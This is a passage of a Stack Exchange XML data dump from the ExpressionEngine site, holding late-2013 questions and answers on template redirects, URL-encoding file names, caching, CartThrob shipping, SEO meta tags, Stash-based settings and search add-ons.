url='{last_page_visited}?status=allok'}&#xA;  {/case}&#xA;  {case default=&quot;no&quot;}&#xA;    {exp:switchee variable=&quot;{post:posted_variable}&quot; parse=&quot;inward&quot;}&#xA;      {case value=&quot;{snippet_variable}&quot;}&#xA;        {exp:session_variables:set name='session_variable' value='1'}&#xA;        {exp:redirectee:redirect status='302' url='{last_page_visited}?status=good'}&#xA;      {/case}&#xA;      {case default=&quot;yes&quot;}&#xA;        {exp:redirectee:redirect status='302' url='{last_page_visited}?status=bad'}&#xA;      {/case}&#xA;    {/exp:switchee}&#xA;  {/case}&#xA;{/exp:switchee}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For some reason &lt;code&gt;{case value=&quot;{snippet_variable}&quot;}&lt;/code&gt; is never considered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{case default=&quot;yes&quot;}&lt;/code&gt; is the only case that is considered. Simply setting it to &lt;code&gt;{case default=&quot;no&quot;}&lt;/code&gt; breaks the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="2509" LastEditorUserId="2509" LastEditDate="2013-12-17T04:08:49.133" LastActivityDate="2013-12-19T23:43:59.200" Title="Redirect user on post variable" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17773" PostTypeId="1" CreationDate="2013-12-17T01:57:58.580" Score="2" ViewCount="139" Body="&lt;p&gt;Using the Grid we've have a project where a large number of files have been uploaded with spaces in the file names. We want to encode the URLs so the files can be downloaded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To try to solve this we used CE String and &lt;code&gt;{exp:ce_str:ing urlencode}{file_url}{/exp:ce_str:ing}&lt;/code&gt; but it doesn't seem to fix the issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allow PHP is set to Yes and Parsing Stage is Output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions or alternatives would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="1654" LastActivityDate="2013-12-18T18:22:54.263" Title="Converting spaces in file_url with CE String" Tags="|channel-entries|file-uploads|url|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17774" PostTypeId="2" ParentId="17773" CreationDate="2013-12-17T04:26:11.987" Score="2" Body="&lt;p&gt;I believe ExpressionEngine actually takes care of the issue for you by automatically encoding the spaces as &lt;code&gt;%20&lt;/code&gt;. You shouldn't need to use a plugin or enable PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check this just output the Grid row's &lt;code&gt;{file_url}&lt;/code&gt; and you should see it encoded.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{my_grid_field}&#xA;    &amp;lt;li&amp;gt;{my_grid_field:file_url}&amp;lt;/li&amp;gt;&#xA;{/my_grid_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the file you uploaded was named &lt;code&gt;some file.png&lt;/code&gt; then the output of the above should be &lt;code&gt;/my_upload_dir_path/some%20file.png&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this not what you observe? Let me know if this misses the boat somehow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an aside, the EE file fieldtype seems to automatically convert spaces in filenames to underscores on upload, so I believe this shouldn't even come up unless you uploaded via another means.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-12-18T18:22:54.263" LastActivityDate="2013-12-18T18:22:54.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17776" PostTypeId="2" ParentId="17771" CreationDate="2013-12-17T10:58:03.277" Score="3" Body="&lt;p&gt;You can't use cache in that case, as explain in &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/optimization/caching.html&quot; rel=&quot;nofollow&quot;&gt;the doc&lt;/a&gt;: &quot;Enable this feature only if you do not use future entries, expiring entries, or random entries.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need cache, try to automatically clean up it every x minutes with a cron task or scheduled task.&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2013-12-17T10:58:03.277" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17777" PostTypeId="2" ParentId="17770" CreationDate="2013-12-17T11:07:09.823" Score="4" Body="&lt;p&gt;&quot;Template parsing time&quot; is only the time EE spent to render the page, but not the time creating connection to DB, runnning SQL queries, making system calls, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at the SQL queries panel to see how many time is spent on each query. It should be a good start to understand why a page is slow.&lt;/p&gt;&#xA;" OwnerUserId="190" LastActivityDate="2013-12-17T11:07:09.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17778" PostTypeId="1" CreationDate="2013-12-17T11:42:55.163" Score="2" ViewCount="70" Body="&lt;p&gt;I use cartthrob with cartthrob gift certificates, but i have a problem with the shipping cost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a user buys a gift card shipping is included in the total. Since the giftcard is sent via email, I don't want shipping added for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like it to work like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When the user only has a gift card in the cart we don't want to charge for shipping&lt;/li&gt;&#xA;&lt;li&gt;When the user has other products, the shipping should be charged&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope someone can help me with this problem&lt;/p&gt;&#xA;" OwnerUserId="2433" LastEditorUserId="197" LastEditDate="2013-12-18T19:37:17.793" LastActivityDate="2014-02-07T23:27:36.437" Title="Cartthrob gift certificates shipping cost" Tags="|cartthrob|giftcertificates|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17779" PostTypeId="2" ParentId="17766" CreationDate="2013-12-17T12:34:16.713" Score="2" Body="&lt;p&gt;You have checked that you have a /calendar folder in both those locations and that there are files in them? look for mod.calendar.php,there should be 14 files and 4 folders in /system/expressionengine/third_party/calendar&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-12-17T12:34:16.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17780" PostTypeId="2" ParentId="17697" CreationDate="2013-12-17T15:23:30.043" Score="10" Body="&lt;p&gt;SEO Lite is always helpful. Dynamic but let's you do page level overrides. No site maps though. &#xA;&lt;a href=&quot;http://devot-ee.com/add-ons/seolite&quot;&gt;http://devot-ee.com/add-ons/seolite&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also adds a tab to the publish view so it's readily available. &lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2013-12-17T15:23:30.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17781" PostTypeId="2" ParentId="17759" CreationDate="2013-12-17T15:26:07.377" Score="2" Body="&lt;p&gt;It might be a parse order issue. If so, using &lt;a href=&quot;https://github.com/croxton/Stash&quot; rel=&quot;nofollow&quot;&gt;Stash&lt;/a&gt; should work to save the categories into a variable list, and then you can run the ce_cache:clear when outputting the list (this is untested):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!--   cache a list of the category url titles   --}&#xA;{exp:stash:set_list &#xA;    name=&quot;cached_cat_url_title&quot; &#xA;    parse_tags=&quot;yes&quot;&#xA;    trim=&quot;yes&quot;  &#xA;}&#xA;    {categories}&#xA;        {stash:cat_url_title}{category_url_title}{/stash:cat_url_title}&#xA;    {/categories}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!--   output the list of category url titles, breaking the cache for each one   --}&#xA;{exp:stash:get_list &#xA;    name=&quot;cached_cat_url_title&quot;&#xA;    parse_tags=&quot;yes&quot;&#xA;    process=&quot;end&quot;&#xA;}   &#xA;    {exp:ce_cache:clear items=&quot;local/category/{cat_url_title}&quot; refresh=&quot;1&quot;}&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-12-17T15:26:07.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17784" PostTypeId="1" CreationDate="2013-12-17T17:17:29.120" Score="2" ViewCount="460" Body="&lt;p&gt;Ok, I could be over complicating things, but here is what I am up against and what all I have tried...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working on rebuilding a site in which they do not want their users to have to worry about managing their SEO. (Keywords, description, images, etc...) But they want their site to be social media friendly for all of the social sites out there. I have narrowed the social sites to facebook, twitter, linked:in, google+, and pinterest. They also have specific &quot;looks&quot; that they want for each one. This means I have had to review the developer API's and find the templates that match what they are after and build towards those layouts. All this said, I need a way to gather all of this in a clean sweep. (If possible)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was using &lt;a href=&quot;http://devot-ee.com/add-ons/seolite&quot; rel=&quot;nofollow&quot;&gt;SEO Lite&lt;/a&gt; in conjunction with Mark's &lt;a href=&quot;http://devot-ee.com/add-ons/ifelse&quot; rel=&quot;nofollow&quot;&gt;IfElse&lt;/a&gt;. I liked it, but that didn't quite get them what all they were after. I switched to &lt;a href=&quot;http://devot-ee.com/add-ons/nsm-better-meta&quot; rel=&quot;nofollow&quot;&gt;NSM Better Meta&lt;/a&gt; and tried to use embed templates to gather all of the information this way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem was that each of these required someone to manually enter the data. I then decided to just use a snippet. The problem is that the snippet doesn't do anything for keywords. Automatic keyword generation is a real stumper. I have ideas on how to achieve it, but it would require something extra... plugin, extension, combination, etc... I am open to any and all ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the snippet. I have removed all of the customer info. The logic statements are because different channels use different fields. I could make three different ones, but this worked so I just left it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;!-- Geo Data --&amp;gt;&#xA;    &amp;lt;meta name=&quot;geo.position&quot; content=&quot;my x,my y&quot; /&amp;gt;&#xA;    &amp;lt;meta name=&quot;geo.placename&quot; content=&quot;City, ST&quot; /&amp;gt;&#xA;    &amp;lt;meta name=&quot;geo.region&quot; content=&quot;US-ST&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;!-- Place this data between the &amp;lt;head&amp;gt; tags of your website --&amp;gt;&#xA;    &amp;lt;title&amp;gt;{title} - {if segment_1}{segment_1}{/if} - {if segment_2}{segment_2}{/if} - company name here&amp;lt;/title&amp;gt;&#xA;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;!-- Google Authorship and Publisher Markup --&amp;gt;&#xA;    &amp;lt;link rel=&quot;author&quot; href=&quot;https://plus.google.com/member-id/posts&quot;/&amp;gt;&#xA;    &amp;lt;link rel=&quot;publisher&quot; href=&quot;https://plus.google.com/member-id&quot;/&amp;gt;&#xA;&#xA;    &amp;lt;!-- Schema.org markup for Google+ --&amp;gt;&#xA;    &amp;lt;a href=&quot;https://plus.google.com/member-id?rel=author&quot; style=&quot;display:none;&quot;&amp;gt;Google+&amp;lt;/a&amp;gt;&#xA;    &amp;lt;meta property=&quot;url&quot; content=&quot;{current_url}&quot; /&amp;gt;&#xA;    &amp;lt;meta itemprop=&quot;name&quot; content=&quot;{title} - {if segment_1}{segment_1}{/if} - {if segment_2}{segment_2}{/if} - company name here&quot;&amp;gt;&#xA;    &amp;lt;meta itemprop=&quot;datePublished&quot; content=&quot;{entry_date format='%Y-%m-%dT%H:%i:%s%Q'}&quot;&amp;gt;&#xA;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta itemprop=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot;&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;            {field_pair:field images_only=&quot;yes&quot;}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/field_pair:field}&#xA;        {/field_pair}&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;        {/field_pair}&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;            {field_pair:field images_only=&quot;yes&quot;}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/field_pair:field}&#xA;        {/field_pair}&#xA;    {/if}&#xA;&#xA;    &amp;lt;!-- Twitter Card data --&amp;gt;&#xA;    &amp;lt;meta name=&quot;twitter:card&quot; content=&quot;summary_large_image&quot;&amp;gt;&#xA;    &amp;lt;meta name=&quot;twitter:site&quot; content=&quot;@username&quot;&amp;gt;&#xA;    &amp;lt;meta name=&quot;twitter:title&quot; content=&quot;{title} - {if segment_1}{segment_1}{/if} - {if segment_2}{segment_2}{/if} - company name here&quot;&amp;gt;&#xA;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;twitter:description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot;&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;meta name=&quot;twitter:creator&quot; content=&quot;@alamodeinc&quot;&amp;gt;&#xA;&#xA;    &amp;lt;!-- Twitter summary card with large image must be at least 280x150px --&amp;gt;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta name=&quot;twitter:image:src&quot; content=&quot;{exp:low_replace find='/product_images/' replace='/product_images/_Twitter_Card_Image'}{field_pair:field}{/exp:low_replace}&quot;&amp;gt;&#xA;            {/if}&#xA;            {field_pair:field images_only=&quot;yes&quot;}&#xA;                &amp;lt;meta name=&quot;twitter:image:src&quot; content=&quot;{exp:low_replace find='/product_images/' replace='/product_images/_Twitter_Card_Image'}{field_pair:field}{/exp:low_replace}&quot;&amp;gt;&#xA;            {/field_pair:field}&#xA;        {/field_pair}&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;        {/field_pair}&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;            {field_pair:field images_only=&quot;yes&quot;}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/field_pair:field}&#xA;        {/field_pair}&#xA;    {/if}&#xA;&#xA;    &amp;lt;meta name=&quot;twitter:domain&quot; content=&quot;domain.com&quot;&amp;gt;&#xA;&#xA;    &amp;lt;!-- Open Graph data --&amp;gt;&#xA;    &amp;lt;!-- Used by Facebook and Linked:In --&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:title&quot; content=&quot;{title} - {if segment_1}{segment_1}{/if} - {if segment_2}{segment_2}{/if} - company name here&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:type&quot; content=&quot;article&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;og:url&quot; content=&quot;{current_url}&quot; /&amp;gt;&#xA;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;            {field_pair:field images_only=&quot;yes&quot;}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/field_pair:field}&#xA;        {/field_pair}&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;        {/field_pair}&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        {field_pair}&#xA;            {if field_pair:field}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/if}&#xA;            {field_pair:field images_only=&quot;yes&quot;}&#xA;                &amp;lt;meta itemprop=&quot;image&quot; content=&quot;{field_pair:field}&quot;&amp;gt;&#xA;            {/field_pair:field}&#xA;        {/field_pair}&#xA;    {/if}&#xA;&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta property=&quot;og:description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;    {if field_pair:total_rows &amp;gt; 0}&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{exp:eehive_hacksaw chars = '150' append = '...'}{field_pair}{field_pair:field}{/field_pair}{/exp:eehive_hacksaw}&quot; /&amp;gt;&#xA;    {/if}&#xA;&#xA;    &amp;lt;meta property=&quot;og:site_name&quot; content=&quot;{site_label} - company name here&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;article:published_time&quot; content=&quot;{entry_date format='%Y-%m-%dT%H:%i:%s%Q'}&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;article:modified_time&quot; content=&quot;{edit_date format='%Y-%m-%dT%H:%i:%s%Q'}&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;article:section&quot; content=&quot;Article Section&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;article:tag&quot; content=&quot;Article Tag&quot; /&amp;gt;&#xA;    &amp;lt;meta property=&quot;fb:admins&quot; content=&quot;admin-id&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;!-- Pinterest Article Pins - not picked up from earlier tags --&amp;gt;&#xA;    {exp:tagger:tags entry_id=&quot;{entry_id}&quot;}&#xA;        &amp;lt;meta property=&quot;article:tag&quot; content=&quot;{tagger:tag_name}&quot; /&amp;gt;&#xA;    {/exp:tagger:tags}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="3139" LastEditDate="2013-12-17T21:36:52.867" LastActivityDate="2014-05-21T17:59:37.547" Title="What is the best method for automating SEO META data on a site" Tags="|ee2|seo|seo-lite|meta|metadata|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17785" PostTypeId="1" AcceptedAnswerId="17786" CreationDate="2013-12-17T17:33:43.543" Score="3" ViewCount="62" Body="&lt;p&gt;My client has requested the ability to turn a specific, site-wide feature on and off from the site-wide header. It’s a link to a specific page that they would like to “turn on” months after the launch. Removing the link makes leaves a bit of a gaping hole, so I’ve created a special class to be applied to the header element to make some other content take up that space.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can switch this class on and off by using a snippet or global variable, but I would like to allow my client to change this setting at will without granting them access to design preferences and templates. Is there a cost-effective add-on that would allow me to provide this one on/off switch that my templates can then test for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’ve seen &lt;a href=&quot;http://devot-ee.com/add-ons/panel&quot; rel=&quot;nofollow&quot;&gt;Panel&lt;/a&gt; and it looks great, but I’d be paying $35 for a whole lot of functionality I won’t be using.&lt;/p&gt;&#xA;" OwnerUserId="2205" LastActivityDate="2013-12-17T19:08:06.950" Title="How to add a custom on/off setting for client" Tags="|add-on|switch|settings|custom|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17786" PostTypeId="2" ParentId="17785" CreationDate="2013-12-17T17:53:58.940" Score="3" Body="&lt;p&gt;I'd likely just do it with a channel entries loop - if only to take advantage of native publish and expiry date functionality so the client can schedule the publishing and hiding of the link you're referring to with ease, particularly if there is any changing content within the feature you're describing (which could then be handled on an entry by entry basis).  And if no custom fields are actually needed within the loop, using the disable parameter you can knock the queries down to a minimal level and use the cache parameter to reduce it further still.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-12-17T17:53:58.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17788" PostTypeId="2" ParentId="17785" CreationDate="2013-12-17T19:08:06.950" Score="2" Body="&lt;p&gt;I’ve accepted Jean’s answer above, but wanted to document my own solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because this particular case involved querying a single-entry channel, I simply used the status field of the entry to “turn the page on or off”, as it were. Any status that is not &lt;em&gt;Open&lt;/em&gt; (that is, &lt;em&gt;Draft&lt;/em&gt; or &lt;em&gt;Closed&lt;/em&gt;) will yield zero results in my loop, so I use a no_results conditional to set a stash variable with the class I need to make things right. See below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries url_title=&quot;special-page&quot; dynamic=&quot;no&quot;}&#xA;  {if no_results}&#xA;    {exp:stash:set name=&quot;special-button&quot;} my-special-class{/exp:stash:set}&#xA;    {!-- Notice space before special class. --}&#xA;  {/if}&#xA;{/exp:channel:entries}&#xA;&#xA;&amp;lt;header class=&quot;masthead{exp:stash:get name='special-button' process='end'}&quot; id=&quot;masthead&quot;&amp;gt;&#xA;&amp;lt;!-- Variable contains space. --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the page status is &lt;em&gt;Open&lt;/em&gt;, then the stash variable is not set, and no class is set.&lt;/p&gt;&#xA;" OwnerUserId="2205" LastActivityDate="2013-12-17T19:08:06.950" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17789" PostTypeId="1" CreationDate="2013-12-17T20:27:10.660" Score="2" ViewCount="258" Body="&lt;p&gt;I have an existing drop-down menu search in place at &lt;a href=&quot;http://www.ncwildflower.org/index.php/plant_galleries/Quick_Plant_Mini-Search/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ncwildflower.org/index.php/plant_galleries/Quick_Plant_Mini-Search/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can also see this on the main page centered at &lt;a href=&quot;http://www.ncwildflower.org/index.php/ncnps&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.ncwildflower.org/index.php/ncnps&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iIjUd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This site is still in version 1.6.8 because I had to change some code in the search regx file. It simply added two square brackets for the keyword entry, and concatenated the contents of any drop-downs that had content selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That was then - this is now!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea how to accomplish this feat in the Codeigniter-driven present-day EE 2.x.x!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also,  the existing solution was/is crude. If you select “red” as a bloom color drop-down, it simply adds “red” to the overall search terms, but is not specific to the bloom-color field, so it makes mistakes!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I’d like to have such a thing, but be able to make searches for bloom color only look in the bloom-color fields, and keywords for plant-type only refer to the plant-type fields. I’m sure you get my drift.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any suggestions how I might at least start tackling this one? It is the only thing holding us back from updating to EE 2.x.x, as this feature is a favorite one by our readership.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for thinking about it with me!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Terry&lt;/p&gt;&#xA;" OwnerUserId="2183" LastActivityDate="2013-12-17T20:35:51.993" Title="How to add a drop-down menu driven search that is field-specific per drop-down?" Tags="|ee2|custom-fields|search|drop-down|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17790" PostTypeId="2" ParentId="17789" CreationDate="2013-12-17T20:35:51.993" Score="2" Body="&lt;p&gt;There are two search Modules that offer lots of flexibility. You'll need to dig through docs to make sure they match exactly what you need to do...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Low Search&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://gotolow.com/addons/low-search&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-search&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solspace Super Search&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.solspace.com/software/detail/super_search/&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/software/detail/super_search/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-12-17T20:35:51.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17792" PostTypeId="2" ParentId="17770" CreationDate="2013-12-17T21:56:14.433" Score="2" Body="&lt;p&gt;Also, look in the debugging and watch for a jump in execution time.  You will see pairs of numbers in the brackets that are the execution time and memory, and anything that is really slowing things down will show up as a jump in time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(0.454163 / 21.26MB) Calling Extension Class/Method: Pt_field_pack_ext/channel_entries_tagdata &#xA;(2.519405 / 21.13MB) Calling Extension Class/Method: Playa_ext/channel_entries_tagdata&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you would note that the execution time has jumped by 2 seconds from one item to the next and you can look at what was being done at that time.&lt;/p&gt;&#xA;" OwnerUserId="2422" LastActivityDate="2013-12-17T21:56:14.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17793" PostTypeId="2" ParentId="17697" CreationDate="2013-12-17T22:40:36.380" Score="1" Body="&lt;p&gt;James Smith's recommended approach could work for you unless you're just looking for something simpler e.g. similar to fields that can be used across channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A starting place for that is as Jeremy said, i.e. &lt;a href=&quot;http://devot-ee.com/add-ons/seolite&quot; rel=&quot;nofollow&quot;&gt;SEO Lite&lt;/a&gt;. However, it is very basic, it's limited to those specific inputs and entries alone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/surgeeo&quot; rel=&quot;nofollow&quot;&gt;SurgeEO&lt;/a&gt;($) ties SEO/meta data to urls as opposed to content, but it seems to have the same limitation as SEO Lite, i.e. hardcoded inputs so you can't really get variety of metadata out of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a 